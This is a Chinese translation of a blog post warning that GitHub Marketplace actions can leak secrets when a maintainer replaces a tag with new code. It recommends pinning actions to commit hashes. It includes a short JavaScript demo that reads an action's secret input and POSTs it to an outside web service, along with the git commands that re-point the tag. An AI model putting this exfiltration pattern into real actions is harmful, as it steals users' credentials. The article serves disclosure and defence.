GitHub 的 action 中有可能插入了恶意代码,即便有些加了标签。

作者 | Julien Renaux

译者 | 弯月,责编 | 屠敏

出品 | CSDN(ID:CSDNnews)

以下为译文:

一切始于12月中旬我发布的一条推文:

我有一种预感,使用从Github  marketplace中找到的Actions有可能会泄露敏感数据,例如访问令牌等。

问题

你可以在GitHub 的 Marketplace 发现很多流行的 Action,而它们在执行任务时都需要秘钥。

例如,如果想构建一个 Docker 镜像并发布到镜像仓库,你可以使用Action:elgohr/Publish-Docker-Github-Action。这是执行这类任务时最受欢迎的action,但它不是GitHub创建的,也并非由GitHub维护。

仔细阅读这个action的文档,你会发现它需要 docker 镜像仓库的用户名和密码。

- name: Publish to Registryuses: elgohr/Publish-Docker-Github-Action@masterwith:name: myDocker/repositoryusername: ${{ secrets.DOCKER_USERNAME }}password: ${{ secrets.DOCKER_PASSWORD }}

我们中有多少人会去查看action的代码,检查其中是否包含恶意代码?我猜没有人会这么做。我们都会自动相信作者。

想象一下,几年来GitHub上成千上万的工作流程都是用了这个 action。

如果我们信赖的这位作者决定让其他人来负责这些代码的后续支持(开源行业经常会发生这种事情),那么将来会发生什么?

任何一个维护人员都可以更新分支或标签

这就是问题所在!

为了向你展示这个问题,我创建了一个action:shprink/nonharmful-and-must-have-actions。这个action看起来很合法,名字似乎也值得信赖。

使用它的时候,你需要传入一个密钥:

- uses: shprink/nonharmful-and-must-have-actions@v1with:my-secret: ${{ secrets.YOUR_SECRET }}

代码(见下文)其实什么都没有干,它获取了密钥,然后干了一些合法的事情(发布docker镜像、npm包等)。

try {const mySecret = core.getInput("my-secret");console.log(`DO SOMETHING REALLY COOL WITH THE SECRET FOR YEARS`);
} catch (error) {core.setFailed(error.message);
}

这个 action 被标记为v1。 不幸的是,标签可以用Git进行替换。

为此,首先你需要在本地删除这个标签,然后通过如下命令远程删除它:

$ git tag -d v1
$ git push --delete origin v1

接下来,我们可以添加恶意代码,例如将密钥发送到Web服务:

try {const mySecret = core.getInput("my-secret");console.log(`ATTEMPTING TO STORE THE SECRET VIA AN HTTP CALL`);request.post("https://jsonplaceholder.typicode.com/posts",{json: {title: "store my stolen secret somewhere",body: mySecret,userId: 1},headers: { "Content-type": "application/json; charset=UTF-8" }},(error, res, body) => {if (error) {console.error(error);return;}console.log(`SUCCESSFULLY STORE SOMEONE SECRET`, res.statusCode, body);});
} catch (error) {core.setFailed(error.message);
}

当 action 的用户重新运行他们的工作流程时,他们将使用“新” v1,因此他们宝贵的密钥就会被泄露。

解决方案:使用提交哈希作为版本

正如GitHub上的@AlainHelaili在Twitter上提到的那样,你不应该checkout分支或标签(这两者都不安全),你应该checkout提交哈希:

每个哈希都是唯一的,而且你不能使用同一个SHA-1重写历史记录。

这是一个很好的解决方案,但是我没有看到任何文档鼓励这种做法。我看过的所有文档都使用分支或标签…

从历史教训中学习经验

不久前,NPM的left-pad出现了完全相同的问题,该软件包从npm仓库中撤下后,整个互联网都被破坏。

没过多久,npm就决定修改撤销政策。

修改后的原则是,24小时之后不能撤销某个版本,而且也不能替换以前用过的标签。

我认为GitHub应该遵循相同的方式,防止用户取消版本发布或替换标签。

原文:https://julienrenaux.fr/2019/12/20/github-actions-security-risk/

本文为 CSDN 翻译,转载请注明来源出处。

热 文 推 荐 

☞达摩院十大科技趋势发布:2020 非同小可!

☞为什么很多程序员没有升级到架构师?

☞如何通过 Web 实现防御木马、病毒...... | 原力计划

☞2019 年被“杀”死的那些技术!

☞暴力裁员、爬虫被抓、QQ 注销……2019 年程序员大事记

☞大数据中台之Kafka,到底好在哪里?

☞新年首日涨姿势不能停:召回→排序→重排技术演进趋势深度总结

☞“区块链岛”女记者调挖矿事件时惨遭暗杀,时隔2年依旧无法沉冤昭雪……

你点的每个“在看”,我都认真当成了喜欢

GitHub Action 有风险?!相关推荐

  1. GitHub Action + ACK:云原生 DevOps 落地利器

    作者 | 瑶靖 来源 | 阿里巴巴云原生公众号 据信通院<中国 DevOps 现状调查报告(2020年)>显示,63% 的企业已经实践落地 DevOps,采用持续交付流水线打通开发.测试. ...

  2. GitHub Action + ACK:云原生 DevOps 落地利

    简介: 据信通院<中国 DevOps 现状调查报告(2020年)>显示,63% 的企业已经实践落地 DevOps,采用持续交付流水线打通开发.测试.部署和运维多个环节.但是依然有 20% ...

  3. 如何使用GitHub Action自动发布JAR到Maven仓库

    之前发布开源项目Payment Spring Boot[1]到 Maven 中央仓库我都是手动执行mvn deploy,在CI/CD大行其道的今天使用这种方式有点"原始".于是我一 ...

  4. 使用Github Action发布函数到阿里云serverless平台

    简介: 本文简述了如何通过自定义Github Action自动化部署云函数到阿里云serverless平台中 阿里云提供了函数计算,即serverless支持.同时阿里云还提供了fun cli命令行工 ...

  5. 最全总结,GitHub Action自动化部署

    GitHub Action简介 GitHub Actions使你可以直接在你的GitHub库中创建自定义的工作流,工作流指的就是自动化的流程,比如构建.测试.打包.发布.部署等等,也就是说你可以直接进 ...

  6. 什么样的 python 可以可谓专业 PyPI 项目?刚刚学到三个概念:pep8、Sphinx、pytest与GitHub Action的集成

    前言: 最近在读很火的 tianshou (基于 pytorch 提供深度强化学习算法的简易接口),两个清华本科生做的.很规范.很优秀的项目. 做出来的项目,想要让别人使用.维护.建立良性可持续社区, ...

  7. Github Action入门

    github action 概念介绍 能力介绍 支持分支 build, test, package, release, or deploy 支持 end-to-end continuous integ ...

  8. K8S 生态周报| Docker V2 GitHub Action 宣布 GA

    「K8S 生态周报」内容主要包含我所接触到的 K8S 生态相关的每周值得推荐的一些信息.欢迎订阅知乎专栏「k8s生态」[1]. Docker V2 GitHub Action 已 GA Docker ...

  9. github Action使用

    需求 最近想实现一个自动部署惊天博客的功能,我有一个静态博客项目,是使用hugo进行编译和部署的,之前自己写了一个脚本将变动的博客自动编译部署到github page 上,也不是很麻烦.但是需要在本机 ...

最新文章

  1. C#读取excel数据到datatable中
  2. Day 21 20190205 老男孩python学习第21天 内容整理
  3. 使用WildFly 9和Jolokia监视DevOps样式
  4. Windows Phone 7.1 “芒果” SDK Beta 下载地址
  5. wps表格粗线和细线区别_详解论文中的表格技术
  6. linux gnome_GNOME,生日快乐:喜欢这个Linux桌面的8个理由
  7. tcplayer currenttime设置不成功_为什么你的“会员体系”不成功?权益设置很重要...
  8. %02 java_02_Java语法
  9. WPF: 本地化(Localization) 实现
  10. 美国空手道俱乐部的 Python 库原来长这样!
  11. Java ArrayList的Array,Array的ArrayList
  12. windows mysql memcached,Windows上的Memcached(不是memcache)PHP扩展
  13. 一个简单的网页版钢琴(用到JQuery)
  14. pd.to_datetime函数函数获取相应时间维度指标(isocalendar函数用法)
  15. 关爱中老年健康,践行康养华夏,中老年春晚《康养华夏》栏目启动大会在广州盛大举行
  16. Windows 检测PPT WPS 幻灯片播放并获取窗口句柄
  17. [乡土民间故事_徐苟三传奇]第四四回_赵员外苕吃假香肠
  18. MATLAB如何生成scr文件,基于SCR脚本文件的MatlabAutoCAD结合使用
  19. 考研经验贴(一):什么可以让你考研坚持到底
  20. ava查询mysql的数据_【技术综述】AVA-第一个大规模的美学质量评估数据库

热门文章

  1. saltstack远程操作WINDOWS的POWERSHELL脚本
  2. (爱加密系列教程十二) 如何防止jd-gui查看代码
  3. Eclipse CDT 编译wxWidgets
  4. 《SQL高级应用和数据仓库基础(MySQL版)》作业 ·005
  5. leetcode 997 找到小镇的法官
  6. php base64 gzip加密,PHP base64+gzinflate压缩加密和解密算法
  7. PAT乙级1025反转链表 25(分)
  8. python矩阵转置与zip(*)的使用
  9. C++奇特的递归模板式
  10. flask(四)jinja2模板